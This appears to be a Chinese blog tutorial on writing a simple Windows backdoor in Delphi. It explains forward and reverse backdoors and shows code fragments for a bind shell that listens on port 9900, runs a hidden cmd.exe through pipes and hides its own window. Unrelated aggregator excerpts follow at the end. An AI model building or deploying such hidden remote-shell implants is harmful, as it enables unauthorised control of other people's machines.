在滲透測試中經常用到遠控、後門等輔助後滲透許可權維持工具,有一款好用的自製後門可以在鞏固滲透成果方面有很大的幫助。今天給大家簡單講解下後門的原理和實現的方法,主要針對技術研究和原理演示,請各位看官不要用於違法活動。
按照連線方式可分為正向後門及**後門。字面上理解就是正向後門會在被控機上開啟監聽埠,等待控制機的連線機控制,**後門會在被控端執行並嘗試獲取控制機位址及埠,獲取成功後主動連線控制機等待控制指令。
兩種後門各有不同的應用場景,有幾個主要的差別如下:
1、正向後門需要被控機能直接ip形式訪問,也就是說如果你在內網機器上安裝了乙個後門,在外網是不能直接連線控制的,除非在路由器上將內網機器的後門埠對映到外網;
2、**後門的控制機需要直接ip形式可訪問,也就是說被控端在獲取到控制端ip和埠後在反向連線的時候需要能直接ip可達,原理同上。
後門和遠控不一樣,後門一般功能簡單,不需要有什麼螢幕控制之類的功能,因為後門主要是用來獲取被控機連線許可權的,所以一般後門主要功能集中在隱藏、潛伏、保持連線,功能上具備執行命令功能即可。而遠控就不一樣了,一般會有豐富的功能,如命令執行、檔案管理、程序管理、鍵盤記錄、螢幕控制、攝像頭監控、音訊監控等等。
我們今天用來學習的是乙個簡單的只有命令執行功能的演示demo。
在windows下可以使用socket來建立套接字,再使用bind繫結位址、listen監聽埠、accept等到控制機的連線,連線上以後就可以使用recv和send收發控制指令和回顯資訊了。主要原理基本就這些,當然使用完socket要記得用closesocket關閉套接字。
第二,光有通訊功能還是不夠的,還要具備命令執行功能,乙個簡單的實現方法就是使用程序通訊方法將命令傳遞給cmd.exe執行,並將結果傳送給控制機。這裡的方法有很多,比如說匿名管道、單管道、或者直接繫結socket等。
port:=9900; //定義訪問埠
timeout:=pchar(50000); //定義超時時間
bindserver:=socket(af_inet,sock_stream,0); //定義socket
addrserver.sin_family:=af_inet;
addrserver.sin_port:=htons(port);
addrserver.sin_addr.s_addr:=inaddr_any;
setsockopt(bindserver,sol_socket,so_rcvtimeo,timeout,sizeof(timeout)); //設定超時時間
bind(bindserver,addrserver,sizeof(addrserver)); //繫結位址
listen(bindserver,5); //啟動監聽
sa:security_attributes; //定義安全屬性
siinfo:startupinfo; //新程序的startupinfo結構體
sa.nlength:=sizeof(security_attributes); //設定安全屬性
sa.lpsecuritydescriptor:=nil;
sa.binherithandle:=true;
createpipe(hreadpipe1,hwritepipe1,@sa,0); //建立兩個匿名管道
createpipe(hreadpipe2,hwritepipe2,@sa,0);
siinfo.dwflags:=(startf_usestdhandles or startf_useshowwindow);
siinfo.wshowwindow:=sw_hide; //新程序窗體隱藏
siinfo.hstdinput:=hreadpipe2; //新程序輸入管道
siinfo.hstdoutput:=hwritepipe1; //新程序輸出管道
siinfo.hstderror:=hwritepipe1; //新程序報錯資訊管道
strpcopy(cmdpath,'c:\windows\system32\cmd.exe'); //設定cmd路徑
createprocess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//建立程序
上面兩步完成後基本可實現乙個簡單的後門演示demo,具體使用方法如下:
因為演示方便沒有隱藏窗體,要隱藏也很簡單可增加如下**即可:
win:longint;
win:=getforegroundwindow; //獲取當前窗體的控制代碼
showwindow(win,sw_hide); //隱藏窗體
連線成功之後會有歡迎資訊,說明可以執行命令了。
執行了dir和whoami都可正常回顯,基本沒啥問題。
儲存為project1.dpr
黑客程式設計技術 反向後門連線的實現
大過年的,一早收到第一封rejection from cs u washington seattle,鬱悶。估計明天起還有一批rej要來,何時有offer啊!淡定淡定,要讓自己變強大!恩恩!學習去!反向後門連線,就是把後門程式植入到伺服器上,由伺服器主動發起對hacker的連線,由此hacker可以...
ELisp程式設計十一 正規表示式一
互動式編寫正規表示式 比如buffer中有乙個字串 abcd 3 執行命令 m x re builder 會出現乙個小buffer,在雙引號裡面輸入正規表示式d 上面有字串的buffer馬上高亮d字元,如果輸入3,則高亮3字元。特殊字元 參考文件 代表任意乙個字元 除了換行符 因此 a.c 能夠匹配...
Windows黑客程式設計基礎 一 系統服務
windows黑客程式設計基礎 一 系統服務 songnianhu 163.com 部落格 blog.csdn.net shangguanwaner 前兩天和乙個同學聊天,他念的是xx大學計算機專業,他向我抱怨說天天在學校學的東西好象都沒什麼用,對hacker程式設計倒頗有興趣,就是不知到從何學起。...